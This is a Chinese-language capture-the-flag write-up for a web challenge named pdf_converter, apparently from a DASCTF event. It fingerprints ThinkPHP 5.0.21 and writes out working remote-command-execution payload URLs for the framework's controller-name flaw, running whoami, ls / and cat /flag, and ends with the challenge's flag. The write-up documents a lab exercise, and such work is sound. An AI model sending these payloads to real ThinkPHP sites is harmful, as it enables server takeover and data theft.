Web

pdf_converter

从题目中给出的网盘地址下载压缩包,解压后拿到docker源码,可以看出flag在docker compose配置文件的环境变量中,docker初始化时会在根目录创建“/flag”,将flag写入,并将“/flag”的权限设置为644。当然这都不重要。因为网站用了Thinkphp框架,还在日志文件中写出了一些安全更新的信息,这显然说明这个框架有漏洞可以利用。查找框架后发现Thinkphp5存在远程命令执行漏洞。

先查看Thinkphp的版本

/index?s=captcha

发现版本是5.0.21

img

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

影响范围5.x < 5.1.31, <= 5.0.23

在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0] =system&vars[1][]=whoami

img

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0] =system&vars[1][]=ls /

img

由上面的信息我们知道,flag在/flag中,于是

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0] =system&vars[1][]=cat /flag

img

至此得到完整flag

DASCTF{03669cc0-880c-4662-80ef-1d8ea4f2212d}